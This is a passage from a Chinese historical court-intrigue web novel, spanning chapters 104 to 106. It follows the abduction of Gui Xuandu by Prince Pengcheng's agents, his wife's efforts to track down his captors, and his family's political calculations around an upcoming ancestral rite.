身后跟着的丫头婆子们有喊请郎中的,有忙着搀扶的,顿时乱作一团。 柳舜华懒得理她这个烂摊子,大步跨过门槛,朝自己院内走去。 “活该!”走到无人处,芳草才畅快说出来。 梅好颇有些得意,“这就叫自作孽,不可活。” 柳舜华歪头瞧了眼梅好,转过头来。 想起贺容暄与李舒君方才的神色,她疑道:“怎么贺容暄今日亲自送李小姐出门?” 妙灵朝四周看了一眼,低声道:“夫人近日忙着张罗大公子的婚事,听说,二小姐极力推荐李小姐。” 柳舜华暗自冷笑,贺玄晖的婚事,不过一场交易,贺容暄竟推自己好友入这个火坑。 “走吧,这 些事,不必理会。” 回到院中,暮色四合。 檐角的风铃在晚风中轻轻摇曳,发出细碎的声响。 柳舜华环顾一圈,依旧不见贺玄度的身影。 她回屋,抱起小白,静静地坐在廊下。 最后一缕天光隐去,庭院空寂,石阶生凉。 柳舜华拢了拢衣袖,将怀中的白兔抱得更紧了些。 忽觉臂间一轻,向来温驯的小白竟猛地挣开她,箭一般蹿了出去。 她忙起身去追,正瞧见周松踉跄奔来,脸色煞白如纸。 柳舜华心头一沉,一种不好的预感徒然升起,忙上前去,“玄度人呢?” 周松上气不接下气道:“公子……被人抓走了。” 柳舜华身形晃了晃,扶住廊柱才勉强站稳,“被抓了,谁?” 周松缓了口气,“不知,但看出手,似乎是千机阁的人。” 彭城王的人,带走了贺玄度? 第104章 第104章我有夫人,我一刻也离…… 柳舜华惊魂不定。 彭城王的人抓了贺玄度,难道是已经发现了他的底细? 凉州都尉府内,贺玄度曾与千机阁的人交过手,莫非那时他便已经暴露了? 她深吸一口气,开口声音依旧有些颤抖,“究竟是怎么回事?” “我与公子今早一起去温泉,准备回府时,发现有人跟踪,于是便打算快些回去。谁知路上突然遇到几十个蒙面人,我们本想从小路突围,谁知他们早有防备,提前设下埋伏。公子替我杀出一条路,自己却……” 周松垂着头,“都怪我,没有及时发现被人跟踪。” 柳舜华道:“现下不是说这些话的时候,咱们要想办法,弄清他们为何要抓玄度。” 她沉思片刻,问道:“你们今日去温泉,是否还有其他人知晓?” 周松抬头,“公子昨夜突发奇想,临时决定要去温泉山庄栽种樱桃,应当不会有人提前知晓。” 柳舜华皱眉,“栽什么樱桃?” 周松道:“公子昨夜回到书房,一直坐立难安……少夫人,说句实在话,在公子他心里,只有你。” 柳舜华喉间一哽,想起凉州时,贺玄度披星戴月为她摘樱桃,眼眶霎时便红了。 可眼下不是想这些的时候,她压下翻涌的情绪,叹了一声,“温泉那边,可有什么异常?” 周松摇头道:“那里是刘长临家的产业,看样子,公子常去,应当没什么问题。” 柳舜华眉头紧锁,那就怪了,既然是临时决定,又一大早出发,这一路上被跟踪的可能性就不大,怎么就被千机阁的人给埋伏了呢? 她一时半刻的,有些想不通。 不过,目前最紧要的是确保贺玄度的安全,她来不及多想,便朝着前厅走去。 路上,她提醒周松,为免贺玄度暴露,不可提起千机阁。 正厅内,贺丞相听闻贺玄度被掳走,大为震惊。 柳舜华起身道:“父亲,玄度在长安并无仇家,如今无故被歹人带走,对方多半是冲着相府来的。还望父亲,能想办法救出玄度。” 贺丞相眉头深锁,敢大张旗鼓地与相府作对,整个大安寥寥可数。 到底是自己儿子,又事关相府颜面,他沉声道:“此事我会处理,另外,玄度被抓一事,务必要保密。近来母亲身体欠佳,若是让她知晓,又要操心。” 柳舜华点头,“父亲放心,此事只有我与周松知晓,定然不会传到祖母耳中。” 出了门,柳舜华便让周松想办法,将此事告知兄长。 据此前消息,彭城王入长安两日,尚未朝见新帝,这两日一直暗中拉拢朝中大臣。彭城王此刻突然抓走贺玄度,难道是想抓个人质,让贺丞相有所忌惮。可若要威胁贺丞相,抓贺玄晖岂不更好? 柳舜华心知,不论是何原因,贺玄度应该暂时没有危险,至于以后,那就难说了。 她不敢再想,生怕贺玄度没救出来,自己先乱了阵脚。只盼着贺丞相或是兄长能早些查出,贺玄度究竟被关押在何地。 贺玄度被蒙着眼,推进一间狭窄的黑屋内。 千机阁的人给他手脚绑好铁链,才将蒙在他眼上的黑布取下。 贺玄度睁开眼,这里瞧着似乎是一间密室,并无窗户,只一扇铁门。 他慢悠悠地坐下,朝着门外的侍卫叫道:“我渴了,给我水。” 侍卫仿佛没有听见一样,一动不动。 贺玄度又叫了几声,侍卫依旧没有理他。 他张牙舞爪过去,然而铁链最多只能到门口,碰不到门外的侍卫。 试着大叫了几声,声音回荡在空荡荡的通道,还是无人回应。 他实在有些无聊,拖着铁链在室内转来转去。 “贺二公子,好兴致。”刑风站在铁门外,一身黑衣,负手而立。 贺玄度抬头一笑,“原来是你啊。咱们好歹也算旧相识,一见面就这么大阵仗,不太好吧。” 刑风挑眉道:“上次贺二公子阵仗岂不是更大,都快要了我的命呢。” 贺玄度否认,“那怎么能比呢?上次你是带人攻打都尉府,这次咱们又没什么利害关系,何必如此剑拔弩张?” 刑风一笑,推门进去,“贺玄度,你的功夫不错。说实话,我很欣赏。只可惜,咱们不是一路人。” “别这么快下结论,再聊聊看,”贺玄度道:“没准,聊着聊着便是一路人了也说不准。” 刑风道:“怎么,你想加入千机阁?” 贺玄度摇头,“我仔细一想,还是算了吧。我这人,不能吃苦。干你们这行的,风里来雨里去,连个夫人都不能娶。我有夫人,我一刻也离不开她。” 刑风微微一愕,笑道:“你夫人,柳家的大小姐是吧?” 贺玄度点头,“你们调查得还挺仔细。既然你们早有打算要抓我,那不妨说说,为何要将我掳至此地。说出来,没准我还能帮你们。” 刑风淡声道:“你会帮我们?” 贺玄度无比认真,“如我方才所言,我是个不能吃苦的人。当年习武,全是舅舅给逼出来的。我本人,还是喜欢随性的生活,这才脱离舅舅的魔爪,逃到长安。” 刑风嘴角一勾,“贺二公子,还真是能装,当真以为我们不知道你的底细?” 贺玄度面上丝毫不见任何变化,“这话我就听不懂了,我有什么底细?” 刑风不屑道:“你不就是丞相府的一枚暗棋,真是没想到,贺丞相如此舍得,自家儿子也能当暗探用。” 听出他话里的误会,贺玄度彻底放松下来。 来的路上,他便已经想明白,为何千机阁的人会突然出现在温泉附近,又大动干戈设下埋伏。 这处温泉场,地处偏僻,正处东南,是彭城通往长安的必经之地。 刘长临是皇室旁支,这些年其家族一直依附于平阳王府。 近日,影卫曾打探到,彭城王秘密与平阳王府暗中联系。千机阁的人又在此刻出现在温泉,显然,平阳王已经归顺了彭城王。 父亲扶植九生继位,有拥立之功。九生处处以父亲为尊,刻意疏远平阳王,激起平阳王不满,以对抗父亲。 谁知平阳王却是没远见的,眼见九生继位后无利可图,再加上彭城王稍加利诱,便倒戈相向。 千机阁众人潜伏于此,以便里应外合,伺机而动。 他无意中出现在温泉,引起千机阁的警觉,误以为他发现了彭城王的秘密,这才将他掳至此处。 贺玄度叹了一口气,“我好好的相府二公子不做,跑去当什么暗探?你不觉得离谱吗?” “有什么不可能,我不就是现成的棋子。”刑风看了一眼外面幽暗的通道,“说吧,你是如何发现我们行踪的?” 贺玄度认真道:“我真是偶然来此的,你信我。” 刑风嗤笑一声,正欲开口,便听到外面一阵脚步声。 “王爷。”守在门口的侍卫突然开口。 贺玄度抬头望去,只见黑暗中一人缓缓而来,正是彭 城王。 他年过四十,身材依旧高大挺拔,一袭紫金蟒袍更衬得他气度不凡,只是那眼中藏不住的欲望,让他整个人都透着一股阴鸷之气。 “审得如何?”彭城王瞥了一眼贺玄度。 刑风回道:“他说是偶然路过。” 彭城王打量着贺玄度,“偶然路过?这个节骨眼上,还有闲心来泡温泉,当我们是傻子吗?” “王爷,我的确不是来泡温泉的。”贺玄度话锋一转,诚恳道:“我是特意来此,栽樱桃的。不信,你们可以去问问山庄的人,” 彭城王看了一眼刑风,刑风立即道:“属下已问过,他过来,的确是带了一株樱桃树。不过,大约是个幌子吧。” 贺玄度急了,“我跟你们说,千万别打那株樱桃的主意。那是我费尽心机,千辛万苦才栽好,哄我夫人开心用的。我夫人她,平生最爱樱桃。为了她,我曾经夜奔……” 彭城王冷笑道:“若再胡说,我让人砍了你的舌头。” 贺玄度双手举起,“我拿贺家的祖宗发誓,我说的都是真的。昨夜我同夫人闹了别扭,惹恼了她,被她赶到书房。我这才一大早过来栽樱桃树,想讨她欢心。” 彭城王脸抽了抽,他竟敢随便拿自己祖宗起誓。 他冷哼一声,“刑风,你去安排,查一下他所言是否属实。” “他过来时还带了一个侍卫,那人跑了,此刻丞相府必定已经知晓他被抓的消息。”刑风点头,想了想,又道:“若是丞相府早有怀疑,只怕此刻,不会如此平静。” 贺玄度暗自庆幸,刑风并未认出周松。 周松回府,将他被抓的消息传回去,蓁蓁一定急坏了。 不过,丞相府至今按兵不动,想必是蓁蓁暗中周旋,将千机阁掳人之事瞒得滴水不漏。 蓁蓁机敏过人,此番倒是解了他燃眉之急。 至于院中那个眼线,留得正是时候。 他早已向蓁蓁点破此女乃千机阁暗桩,若其刻意打探,蓁蓁自会知晓如何做。 彭城王并未离开,只是在此守着,在确认相府是否发现他与平阳王府结盟之前,他不能有任何放松。 新帝虽已登基,但却因仓促,未曾祭拜祖宗庙祠,大礼未成,天意犹未可知。 他乃武帝血脉,先帝手足,宗室嫡系,天命所归。 今得平阳王鼎力相佐,未必不能与天争命。 与其困守藩篱,坐看权柄日削,终成俎上鱼肉,倒不如反戈一击。 贺玄度打了个哈欠,“王爷,我昨夜在书房睡得不好,今日又起了个大早,实在困倦,先躺下了。” 彭城王看着躺在破床上的贺玄度,他就不信,他能睡得着。 片刻,室内便传来清浅的呼吸声。 贺玄度真的睡了。 约摸过了一个多时辰,刑风匆匆赶回。 彭城王起身道:“怎么样?” “人见到了,她说,属实,丞相府无异动。”刑风缓缓道:“贺玄度的确与二少夫人起了争执,也是真的为了她去栽樱桃树。” 彭城王呆住了,贺玄度真是无意间来此,他并未发现他们的秘密。 长安城内风声鹤唳,草木皆兵之际,丞相府的二公子,专程来这偏僻之地,只是为给自家夫人栽种几株樱桃? 他大动干戈,将他扣押至此,反倒是打草惊蛇。 这个小纨绔,真是害惨了他! 第105章 第105章他被放弃了 彭城王犯了愁。 贺玄度虽未发现他的秘密,但他们将他囚禁在此,若丞相府追查起来,顺藤摸瓜,发现他与平阳王暗自交易,提前部署,那他岂不是要前功尽弃。 他扶着额头,低声道:“让她继续监视相府一举一动,有异常随时来报。” 刑风点头,看向瘫在床上的贺玄度,“那他怎么办?要留吗?” 彭城王冷笑道:“不过是个不中用的纨绔,留下也无妨。他既是相府的二公子,又与刘九生是连襟,关键时候兴许能当个人质用。” 他想了想,接着道:“祭祀在即,要打起十二分精神来,不容有失。” 黑暗中,贺玄度缓缓睁开眼。 距九生祭拜宗庙仅余五日,若平阳王果真站在彭城王这边,煽动皇室宗亲支持彭城王,那刘九生真的就危险了。 九生虽是武帝太子血脉,但太子涉嫌谋逆,罪名尚未洗清。 若他们操纵舆论,声称他能入皇室宗谱,不过是武帝法外开恩,非“天命”之人,便是父亲也不好控制。 父亲此前废掉刘昌,已经引起皇室宗亲不满,若不及时遏制彭城王,此番必然被动。 他必须要想办法,在祭拜宗庙之前,逃出去。 子夜,烛火摇曳,柳舜华倚在榻上,强撑着沉重的眼皮。 窗外寒风呜咽,吹得窗棂微微作响。 突然,几声轻响自窗外传来。 柳舜华浑身一颤,睡意全消,一个箭步冲到门前。 黑影一闪,进了屋,利落地扯下蒙面黑巾,露出脸来。 “如何?”柳舜华急忙问道:“可跟上了梅好?” 自回到院内,她便如坐针毡。直到瞥见廊下玩耍的梅好,心头才略定。 梅好既是千机阁的人,那她定会打探消息,通风报信。 只要盯紧她,或许就能找到千机阁关押贺玄度的藏身地。 她急唤周松前来,吩咐一番。 周松是斥候,行动敏捷,最善追踪。 果然,天黑之时,梅好借着送晚膳之机,打探两人是否闹了别扭。 柳舜华一听,当即明白,他们怀疑贺玄度暗中调查千机阁。 于是佯装生气,将贺玄度骂了一通,指责他近日流连忘本,将昔日的纨绔习性又暴露出来。 梅好安慰她几句,便退了出来,借口身体不适,早早歇下。 周松回道:“我一直跟在她的身后,发现她最后去了温泉山庄。” 柳舜华有些意外,千机阁居然隐匿在温泉山庄。 周松说过,温泉山庄是刘长临家族的产业。刘长临与贺玄度意趣相投,虽也爱斗鸡走狗,但却重情重义。贺玄度与他交往甚密,多半是因他远离朝局,心思单纯。 她问:“刘长临家族在朝中可有靠山?” 周松点头,“还真有,平阳王。” 柳舜华呆愣片刻,渐渐反应过来,彭城王已经拉拢了平阳王。 刘长临家族在长安并无实权,彭城王犯不着费尽心思去拉拢,但千机阁众人却隐藏在温泉山庄,很明显,是听了平阳王的指令。 低头沉默片刻,柳舜华抬眸,目光如刃,“此前袭击都尉府,可有其他证据,证明千机阁与彭城王有勾连?” 周松摇头,眉头紧锁,“抓的都是一些小喽啰,只能证明千机阁有参与,彭城王却洗得干干净净。” “够了,只要坐实千机阁参与勾结匈奴,袭击都尉府,已经够了。” 若能证明千机阁是彭城王的爪牙,那彭城王暗中指使袭击朝廷命官、勾结外敌,便是谋逆大罪! 叛国谋逆之人,又有什么资格继承大统呢? 这或许,是个机会,不但能救出贺玄度,还能将彭城王彻底击溃。 从温泉山庄到城内,金吾卫秘密搜寻两日,勉强才有几分线索。 贺丞相昨夜睡得不好,这会头脑有些昏沉,揉着额头,“查得怎么样了?” 贺玄晖回道:“金吾卫的人在二弟失踪的地方,发现了打斗的痕迹。根据那些痕迹可以断定,对方人数应有几十人,且训练有素。” “训练有素?”贺丞相抬起头,“你怀疑谁?” 贺玄晖不紧不慢道:“如今敢在长安地界,公然与父亲作对的,也就只有彭城王了。于是,我便让人盯紧他,发现他昨日曾出去过,不过他的人十分警觉,金吾卫跟丢了。” “不过,我们的人,还发现了一个大秘密,彭城王曾私会过平阳王。”贺玄晖顿了一下,低声道:“此事原本极为隐秘,咱们的探子也是碰巧在酒楼吃酒,无意间听到平阳王贴身之人醉酒后吐露的。” 贺丞相眼底闪过一丝锐芒,“此事千真万确?” 贺玄晖点头,“错不了。二弟是在温泉山庄附近被抓,温泉山庄是刘长临家族的产业,如此便不难猜了。” 平阳王竟与彭城王暗中结盟,这多少有点让贺留善意外。 彭城王年逾不惑,在朝中经营多年,颇有些实力。若当真让他登基称帝,以阴鸷的性子,莫说他们这些先帝旧臣,就连此刻与之合作的平阳王,恐怕也难逃兔死狗烹的下场。 贺留善冷笑一声,“看来新帝登基后的赏赐,到底没能喂饱这位王爷。” 平阳王这般沉不住气,倒让他想起当年武帝托孤时的话,“我这个兄弟,什么都好,就是有些心浮气躁,不可托付。” 如今看来,武帝果然慧眼如炬。 彭城王与平阳王勾连,所图者,无非欲借三日后的祭天大典,以刘九生的身世为引,搅动朝堂风云。 这些年他在朝堂兢兢业业,公正严明,也博得一个贤良名声。更兼早年入太学,深谙圣贤之道,长安儒林之中,对其推崇者甚众。若真想辨谁更有资格继承皇权,仅仅依靠皇室中人支撑,未必能令人信服。 彭城王一介武夫,只知兵戈之利,岂识儒生笔锋之锐?殊不知,这浩浩清议,皆可化作诛心之剑。待到群儒振袖而起,口诛笔伐之时,纵有千军万马,怕也难挡这悠悠众口。 贺玄晖道:“彭城王此次有备而来,又与平阳王勾结,父亲可需早作筹谋?” 贺丞相眸光微沉,“明日散朝后,我当亲访太常卿。你且暗中召集门下儒生,先造声势。”忽而眉头一蹙,“只是有一事,我始终不解,彭城王他抓那逆子做什么?” 贺玄晖也想不明白,“莫非,彭城王欲以二弟为质,胁迫父亲?” 贺丞相想了想,冷笑一声,“派人去查温泉山庄,顺便将那混账救出来。” 贺玄晖坐得端正,面上并无多余表情,只是淡声道:“父亲,二弟还是迟些再救为好。” 贺丞相扫过去,落在贺玄晖身上,只觉他周身笼着一层云雾,叫他看不清。 他沉声道:“为何?” 贺玄晖目色幽深,“彭城王此举,怕是醉翁之意不在酒。二弟纨绔,朝野皆知,挟之何益?父亲放心,他一时半刻并无性命之忧。” 贺丞相指节一顿,“彰儿到底是何意?” 贺玄晖抬眸,“父亲细想,此时若大张旗鼓地救人,反倒失了先机。不若借机看看,彭城王究竟要唱哪出戏。”话音渐低,“而且,我始终觉得,刘九生并没有那么简单。” 贺丞相:“此事与刘九生有何干系?” 贺玄晖攥紧双手,上辈子母亲为了将容暄推上皇后之位,瞒着他们,私自作主,毒杀了柳棠华。 刘九生继位三年后,父亲身体每况愈下,原本宠爱容暄的刘九生突然调查起柳棠华被杀一事。为免死后刘九生清算,贺家败落。父亲迫不得已,决定暗中除掉刘九生。 他借迎娶郡主刘妉柔之机,邀刘九生并亲临,在回宫途中设下埋伏。 只是……他并不知前世结局。 梦到柳舜华意外身故,他吐了一口鲜血,跟着便陷入无边的黑暗。 不过,他总有一个念头,刘九生,柳桓安,还有贺玄度,他们之间是否真如表面那般毫无干系。 除此之外,他还有私心。 那点隐秘的心事,如同暗室里的藤蔓,在不见天日处疯长,缠绕着五脏六腑,将每一寸呼吸都勒出带血的痕迹。 他希望……贺玄度再也不要出现。 “我想验证一事,柳桓安与刘九生是否有牵扯。”他缓缓道:“二弟被掳走,柳舜华势必会去求新帝以及柳桓安。我想看看,若无相府出手,究竟会不会有人,悄无声息地救出二弟?” 贺丞相闭上眼睛,缓缓点头,“彰儿想得周到,就依你的意思。等到祭拜大典进行时,若他依旧无人去救,再行动也不迟。” 柳舜华静候两日,却见相府始终按兵不动。 她在柳桓安助力下,不惜动用平阳王府潜藏多年的暗桩,不动声色地将彭城王与平阳王相互勾连的消息传给贺玄晖。 这个时候,只要丞相府闻风而动,率兵围剿温泉山庄,便能一举擒获千机阁众人,届时彭城王暗中培植私兵的罪证将昭然若揭。 此刻,正是击溃彭城王的时机,怎么贺丞相反而犹豫了? 她怕消息传递太早,彭城王会怀疑贺玄度,狗急跳墙,对贺玄度不利,特意等第二日才将消息放出。 她原以为,这次是个机会,一箭三雕。 彭城王与贺丞相两虎相斗,彻底铲除彭城王,伺机救出贺玄度。 然而,事情却完全偏离了她的预期。 贺相明知此事关涉贺玄度性命,却仍作壁上观,放弃了他。 柳舜华只觉心头一寸寸凉透。 若贺玄度知晓,他该多痛啊! 更深露重,彭城王又秘密到了温泉山庄密室。 昏黄烛火下,贺玄度独坐案前,素白衣袍染尘,却仍不掩清贵之气。 青丝微乱,却更显几分落拓不羁。 那双漂亮的桃花眼如寒星般清亮,纵使身陷囹圄,亦不减半分风华。 他正执盏浅啜,看到彭城王进来,笑道:“王爷,您来了。” 彭城王瞧他姿态从容,冷笑道:“你是不是以为,贺丞相迟早会寻到这里,救你出去?” 贺玄度将杯盏放下,淡声道:“我是他的亲儿子,他岂会见死不救。” “整整两日,贺相可曾派过一队府兵寻你?你的好父亲一心扑在祭祀大典上,根本没空寻你。甚至,为了大典顺利进行,你失踪的消息都被他压了下来。祭祀大典的香火,可比你这个亲生儿子的性命金贵得多。” 彭城王狂笑道:“贺二公子,看看吧,你就是个没人管、没人要的可怜虫而已。” 贺玄度指节发紧,杯盏在掌心发出轻微的脆响。 他早该想到的。 父亲终究,舍了他! 他长睫低垂,一瞬黯然。再抬眼时,却已淬出寒刃般的锋芒。 “王爷,不如,我们合作吧!” 彭城王饶有兴致坐下,“说说,你想怎么合作?你又有什么资格与我合作?” 贺玄度轻笑:“如你所见,我的确是个废物,父亲不会为了我大动干戈。但王爷能留我一命,必然是有所求。不如咱们开诚布公,各取所需,如何?” 彭城王审视着他,缓声道:“都说贺二公子是个纨绔,以我看,你可精明着呢。” 贺玄度不紧不慢道:“我是纨绔不假,可并不傻,而且惜命。” 彭城王也懒得绕弯子,直言道:“再过三日,便是祭祀大典。你若是能说出足以让贺相分心,颜面扫地的丑事,我便放了你。” “很简单,我便是他此生最大的丑事。”贺玄度淡淡一笑,“只要让丞相府乱起来,不得不救我,他自然没足够的心思去筹办祭拜仪式。” 彭城王探头过去,“你有什么高见?” 烛火明灭间,贺玄度唇角噙着几分似有若无的笑,“将我被抓的消息散布出去,制造舆论,设法让御史台弹劾他品行不端,专宠继室子女,罔顾嫡子性命。然后逼他不得不派人营救 ,提前设下埋伏,等他们的人进来,一网打尽。” 彭城王瞠目结舌,这招实在太狠了。 贺玄度继续道:“当然,此举并不能真正动摇父亲的地位,不过给他添堵绰绰有余。乱局之中,王爷便可趁机做自己想做之事。” 彭城王瞳孔骤缩,这个贺二公子,比起手段狠辣的贺丞相,有过之而无不及。 似是怕筹码不够,贺玄度又道:“若王爷不放心,到时我可亲自出手,参与围剿。届时我有把柄在你手中,即便是出去,依旧是你的人。” 彭城王摇头,“那倒也不必。” 沉思良久,他终是抬头,“贺二公子,你图的到底是什么?” “我说过了,我惜命。”贺玄度摸向腰间的莲花荷包,眼神柔和,“还有,我想快些见到我夫人。我,想她了。” 第106章 第106章蓁蓁,我回来了!…… 出了密室,刑风有些不放心。 犹豫片刻,他道:“王爷,如果真如此行动,让金吾卫发现此地,岂不是要泄露您与平阳王的关系。” “跟了我这么久,怎么还是个榆木脑袋。贺玄度是想活命,才引我暴露温泉山庄,逼迫贺留善出手。可惜啊,他还是太嫰了点。咱们的目的是让贺留善声名扫地,自乱阵脚,借机牵制他手上部分兵力,怎能真引他们来。” 彭城王扫了他一眼,“你去散布消息,就说贺二公子被绑匪挟持,贺丞相专宠继室,见死不救,欲借刀杀人。注意,千万别暴露。” 贺玄度躺在床上,目光穿透黑暗凝视着斑驳的墙面。 已经过去两日,父亲迟迟没有行动,蓁蓁一定急坏了。 可他不能走。 至少现在不能。 棋局已至中盘,唯有借丞相府之手,方能破此僵局。 这些年,彭城王在朝堂布下不少棋子,只盼那些人手段够利落,能逼得父亲不得不出手。 贺玄度被抓第三日,柳舜华深觉不能再等下去。于是叫来周松,让他通知兄长,设法让影卫潜入温泉山庄,随时待命。 周松点头,说道:“少夫人,相府近日秘密进来一批人,聚在一起慷慨激昂的,瞧着像是些儒生。” 柳舜华想到祭祀大典,“大概是为新帝的出身辩礼,此事于新帝有益,让咱们的人多帮衬着点,以免被彭城王的探子发现端倪。” 周松应着,又道:“还有一件事,有些奇怪。坊间有消息传出,说公子被抓了,丞相想借贼寇之手除掉公子。” 柳舜华猛地抬眸,“什么时候的事?” 周松道:“就今日一早,虽只是一些流言,但传得极快,像是有人预谋。” 柳舜华指尖敲击着桌面,流言毫无疑问是冲着贺丞相来的,这个时候散布流言,又如此有规模,那极有可能是彭城王的人。彭城王想往贺丞相身上泼脏水,试图浑水摸鱼,倒是给了她机会。 她要在这把火上,再添一把柴。 周松离开后,柳舜华又去了前院,问询贺玄度下落打听得如何。 她连日催问,贺丞相有意躲着,只看到程氏与贺容暄在悠闲地吃着茶。 贺容暄一看到柳舜华,捏了块糕点,淡声道:“嫂嫂今日又来了?” “夫君无故被掳,作为妻子,自然是要上心的。柳舜华瞥了她一眼, “玄度也是你的二哥,你一副事不关己的样子,也不怕别人指责不尊兄长?” 贺容暄手一顿,轻笑道:“嫂嫂多虑了,往日里,二哥宿在外面是常有的事。这次说不准便是他不想回家,刻意为之。这会,不知道躲在哪个歌舞坊里享清闲呢?” 一旁的芳草气得攥紧拳头,恨不得上去撕烂她的嘴。 梅好后悔身上没有趁手的东西,不然一定让她摔到几个月起不来。 柳舜华反倒比较平静,只是扫了她一眼,退了出去。 离开前院,柳舜华对着梅好道:“你让洪声去准备好马车,我要进宫一趟。” 一到宫里,柳舜华便侯在未央宫门口,等待皇上召见。 片刻后,皇上身边伺候的小太监出来,客气道皇上连日劳累,在休息。 尚不到隅中,哪里便休息了,一听便是借口。 柳舜华闻言,看着紧闭的宫门,直直地跪了下去。 “臣妇柳舜华,求见皇上。”清亮的声音在空旷的宫门前回荡。 小太监吓得魂不附体,“二少夫人,皇上他真的在休息,求您了,先回去吧。” 柳舜华朝他道:“我知公公不易,您大可放心,我不开口,就在这里跪着,一直到皇上见我为止。” 小太监见她心意已决,也不再劝,转身回去复命。 二月的长安城,春寒料峭。 柳舜华跪在未央宫前的青石板上,寒意从膝盖直窜上脊背。 她挺直腰背,双手交叠置于腹前,定定地望着那扇紧闭的朱红宫门。宫墙上琉璃瓦反射出冷冽的光芒,照在她苍白的脸上。 未央宫门口太监宫女进进出出,看到柳舜华跪着,纷纷绕开。 大约过了两刻,石板上的寒气越来越重,柳舜华感觉双膝已经失去了知觉。 “姐姐,姐姐。”焦急的呼唤声从远处传来。 柳舜华抬头,瞧见一身华服的柳棠华,慌慌张张飞奔而来。 她勉强一笑,“你怎么来了?” 柳棠华握住她的手,拼命止住眼泪,“姐姐的手怎么这么冰,快些起来。” 柳舜华摇头,“不,芊芊,我不能起。玄度不见了,我要见皇上,求他救救他玄度。” 柳棠华见劝不动,咬着唇道:“姐姐,那我和你一起跪。” 膝盖尚未碰到地,柳舜华一把抓住她的手,将她托起。 她贴在柳棠华耳边,迅速道:“回去寻太医瞧瞧,别声张。” 柳棠华一愕,不明白柳舜华为何突然对她说这些。 柳舜华顺势起身,甩开柳棠华。 因跪得太久,膝盖有些肿痛,她踉跄几步,指着柳棠华道:“谁要你在这假惺惺,你若真对我好,就去求皇上,求他去救人。” 柳棠华一脸无措,还想去拉她,柳舜华只是深深地看了她一眼,转身走出宫门。 含章殿内,柳棠华倚在榻上,想着方才宫门口柳舜华的话,指尖无意识地摩挲着衣襟。 “皇上驾到!” 殿外骤然响起急促的通传声,紧接着是凌乱的脚步声。 柳棠华还未及起身,明黄的身影已卷着风闯入内室。 “芊芊!”刘九生快步过去,瞧她满脸心事,垂头道:“你是不是怪我,怪我心狠,不肯救玄度?” 柳棠华望着他额角渗出的细汗,抽出绢帕轻轻拭过他的额头,“您都是皇上了,怎么还像以往一样,遇事慌慌张张的。” 话未说完,已被他捉住手腕,“芊芊,你信我,我不会害玄度的。此事,我不能出手。这是丞相府与彭城王设下的圈套,我若出手,让他们知晓这背后的势力,我,玄度,整个柳府都会有麻烦的。” 柳棠华拍着他的手,轻声道:“九生,我知道,我都知道,姐姐也知道,你不用紧张。” 刘九生不信,“你姐姐,她知道?” 柳棠华点头,“方才未央宫门前,我要陪着姐姐一起跪,她扶着我起来,说了些绝情的话,便离开了。可依姐姐的性子,若她真的想见你,哪怕跪上一整日势必也要见的。我觉得……她是在做样子给人看。” 刘九生想了想,芊芊对这个姐姐一向看得比自己还重,若她真因此与芊芊翻脸,芊芊此刻根本不会如此平静。 做了皇帝之后,刘九生方体会到高处不胜寒的孤寂。 仿佛就在昨日,他还穿着一身破布衣衫,朝着巷子口奔跑,赶在天亮之前,偷偷摘下槐花充饥。塞外风沙里,与玄度分食烤野兔,把酒言欢。与芊芊在破屋内相互依偎,想着开春将房子重新修一番。 可一眨眼,他发现自己坐在冰冷的皇位上,底下看似恭恭敬敬的臣子,实则各怀心思,敌我莫辨。 芊芊是最后的温暖,他拼命想要抓住。 可近日他总是睡得不安稳,反反复复做着一个梦。 梦里芊芊站在大雾中,挥着手向他道别。 他拼命追赶,却只能眼睁睁看着她的身影越来越远,最后雾散了,芊芊也不见了。 他将她的手握得更紧些,“芊芊,我知道,我做得不够好,委屈了你。我也知道,我很自私,将你留在这深宫之中。但你能不能……别丢下我,我会将这些亏欠一点点,慢慢地都还给你。等天下安定下来,你若想出宫,想骑马打猎或者野外游玩,我都陪着你。无论你想做什么,我都不会阻止,只要你肯留在我身边。” 柳棠华看着他,柔声道:“我既答应嫁于你,便会一直陪着你。九生,是不是祭祀大典将 近,你太紧张了?” 刘九生摇头,这才道:“听闻你传了太医,我还以为你身体不适。” 柳棠华低眉浅笑,执起他的手轻轻覆在自己小腹上,“九生,你要做父亲了。” 刘九生浑身一震,眼中霎时迸出光芒,嘴唇嚅动,喃喃道:“我要做父亲了,我要做父亲了。” 柳棠华笑着看他,他这模样,哪还有平日里的帝王威仪,倒像是个得了糖人便心满意足的孩童。 她忙伸手掩住他的唇:“才将将两个多月,眼下朝局未稳,还是莫要声张为好。” 刘九生深吸一口气,强自按捺住翻涌的喜悦,“还是你想得周到。” 说罢,又忍不住将掌心在她腹间轻轻摩挲,仿佛能触到那个尚未成形的小生命。 “芊芊,”刘九生将她双手紧紧包裹在掌心,“我定会给你们母子一个安稳喜乐的将来。” 柳舜华进宫的消息很快传回相府。 贺丞相听闻,气得脸色铁青。 午后听到市井传言时,府内众多儒生嘴上虽不说,背地里已颇有些微词。 此事已让他心中不快,偏偏柳舜华又进宫去求皇上救那逆子。 她这一进宫,倒将那流言坐实了。 若非相府见死不救,她一介弱女子,又何至于会跪在未央宫宫门口,求皇上出手相助。 贺留善不知她是不是刻意为之,不过,已经不重要了。 事已至此,他必须出手。 “彰儿,你速速通知金吾卫,随时待命,务必护你二弟周全。” 贺玄晖躬身道:“父亲,流言已出,再堵无用。柳舜华既已去求皇上,不如借机再看看他的态度。若今夜宫城仍无动静,明日丑时再收网也不迟,那时彭城王根本来不及反应。祭拜大典上,正好坐实彭城王勾结逆党、散布谣言、劫持朝廷命官的罪名。” 明日祭拜大典,辩礼一事,他们请遍全大安的儒生,又取得皇太后、苏太常的支持,虽不说十拿九稳,至少彭城王占不了上风。 只是,彭城王拉拢皇室众人为其撑腰,即便败下阵来,总不能将这些皇室之人悉数抓起。便是最坏的结果,他也能回去当个安稳的王爷。 其余人也一样,彭城王上位,他们从龙有功;若是败了,本就是些皇族的边缘人物,大不了就此远离朝堂。 无论怎么算,此事对彭城王来说,都是一个划算的买卖。 贺留善抬起头,“金吾卫那边,车骑将军的侄子不太牢靠,务必寻个办事严谨的,不能有丝毫纰漏。” 贺玄晖道:“前阵子,堂兄推荐一个姓程的。此人身手利落,行事缜密,现值守未央宫,可堪大用。” 贺留善挥挥手,“此事,你去办便是。” 温泉山庄地牢内,彭城王正叮嘱刑风明日事宜。 “明日,一半人跟着我进宫,以备不时之需。你就留在此处,看好了贺玄度。” 刑风应声点头。 彭城王捋着胡须,笑道:“这贺玄度,虽是阴差阳错,却是抓对了。” 明日参他贺留善一个不尊礼法,罔顾人伦,看他如何自辩。 说着,便往地牢深处走去。 